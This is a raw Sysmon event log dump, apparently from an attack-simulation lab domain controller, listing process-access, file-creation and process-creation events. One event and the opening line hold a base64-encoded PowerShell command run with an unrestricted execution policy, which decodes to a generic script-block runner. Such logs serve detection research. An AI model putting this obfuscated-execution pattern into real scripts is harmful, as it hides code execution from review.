JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 11241100x80000000000000002967Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.601{A5F018FF-2900-5F80-9000-000000007F01}4868C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\0jplke43.cmdline2020-10-09 09:10:24.601 11241100x80000000000000002966Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:24.601{A5F018FF-2900-5F80-9000-000000007F01}4868C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\0jplke43.dll2020-10-09 09:10:24.601 10341000x80000000000000002965Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.132{A5F018FF-28FF-5F80-8D00-000000007F01}47444736C:\Windows\system32\conhost.exe{A5F018FF-2900-5F80-9100-000000007F01}5008C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002964Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.132{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002963Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.132{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002962Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.132{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002961Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.132{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002960Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.132{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002959Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.132{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002958Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.132{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002957Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.132{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002956Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.132{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002955Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.132{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-2900-5F80-9100-000000007F01}5008C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002954Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.132{A5F018FF-2900-5F80-9000-000000007F01}48685000C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2900-5F80-9100-000000007F01}5008C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdb7331b(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0141a5(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd013e76(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdac54db(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcfd4a0c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd032edb(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd016540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd016540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0163d1(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd008356(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd014889(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd01447c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0141a5(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd013e76(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdac54db(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcffacd7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcffa2a7(wow64) 154100x80000000000000002953Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.136{A5F018FF-2900-5F80-9100-000000007F01}5008C:\Windows\System32\chcp.com10.0.14393.0 (rs1_release.160715-1616)Change CodePage UtilityMicrosoft® Windows® Operating SystemMicrosoft CorporationCHCP.COM"C:\Windows\system32\chcp.com" 65001C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-28FF-5F80-9D63-050000000000}0x5639d0HighMD5=BA6FD5B883C0899785D17CEBE66A25F6,SHA256=9FDBDF88CF2BB2794C416E3083553F2898AC9DC92DFAC2478B4C1DF667DF7C74,IMPHASH=4FB30D6E330F3FB3DB61550BD7FA7CCD{A5F018FF-2900-5F80-9000-000000007F01}4868C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 10341000x80000000000000002952Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.116{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002951Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.116{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002950Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.116{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002949Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.070{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-2900-5F80-9000-000000007F01}4868C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002948Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.070{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-2900-5F80-9000-000000007F01}4868C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000002947Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.038{A5F018FF-2900-5F80-9000-000000007F01}4868C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_nyi2q4ui.rfc.ps12020-10-09 09:10:24.038 10341000x80000000000000002946Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.023{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-2900-5F80-9000-000000007F01}4868C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002945Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 